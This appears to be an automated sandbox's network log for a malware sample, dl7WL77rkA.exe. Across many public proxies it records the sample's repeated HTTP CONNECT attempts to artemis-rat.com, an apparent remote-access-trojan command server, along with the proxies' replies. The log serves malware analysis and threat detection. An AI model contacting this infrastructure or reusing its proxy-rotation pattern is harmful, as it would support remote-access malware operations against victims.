Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.491908073 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:40.894234896 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.5	52102	195.248.243.149	7237	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.494740963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.201900005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.5	52111	38.242.199.111	37293	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.497497082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.139208078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.108282089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939491034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.572624922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.214389086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905148029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.115803957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.5	52223	172.67.181.20	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.505565882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.659964085 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.5	52224	104.16.107.142	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.506843090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.661190033 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.5	52082	79.119.155.63	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.507128000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.5	52130	174.64.199.79	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.507249117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.5	52169	194.4.50.132	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.507250071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.5	52131	72.195.34.42	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.507756948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.5	52133	72.206.181.97	64943	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.508167982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.5	52132	72.210.252.137	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.508331060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.5	52134	70.166.167.38	57728	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.521159887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.5	51420	160.153.254.240	48502	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.521178007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.607786894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702475071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.780483007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.5	52072	31.43.158.108	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.522083998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.5	52136	72.195.114.169	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.522998095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.5	52089	161.97.74.176	30000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.523487091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.864326954 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.5	51980	203.95.196.50	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.524126053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.5	52063	103.153.134.20	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.524131060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.311186075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.405364990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.548204899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.902420998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.5	52178	34.83.143.6	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.525176048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.723443031 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.5	51965	103.190.54.141	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.525192022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.5	51967	103.190.54.141	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.525532961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.5	51519	135.148.10.161	3970	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.549424887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.5	52033	103.76.253.66	3129	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.550057888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.020524025 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.5	52053	221.6.139.190	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.550431967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.077491999 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.5	52034	35.154.71.72	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.550595045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.946753979 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:40 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.5	52189	38.162.23.24	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.550960064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.965552092 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.5	52028	222.138.76.6	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.551532984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.963229895 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.5	51586	50.63.12.33	14738	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.559613943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.5	51433	103.81.221.101	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.560319901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.648493052 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.5	52246	72.167.221.157	64742	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.563183069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
